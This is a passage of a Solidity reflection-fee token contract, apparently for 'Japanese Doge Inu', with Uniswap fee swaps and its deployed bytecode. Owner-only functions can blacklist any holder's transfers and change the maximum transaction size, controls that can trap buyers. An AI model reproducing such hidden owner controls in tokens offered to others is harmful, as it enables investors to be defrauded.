require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280601181526020017f4a6170616e65736520446f676520496e75000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017fe78aac45efb88f00000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffff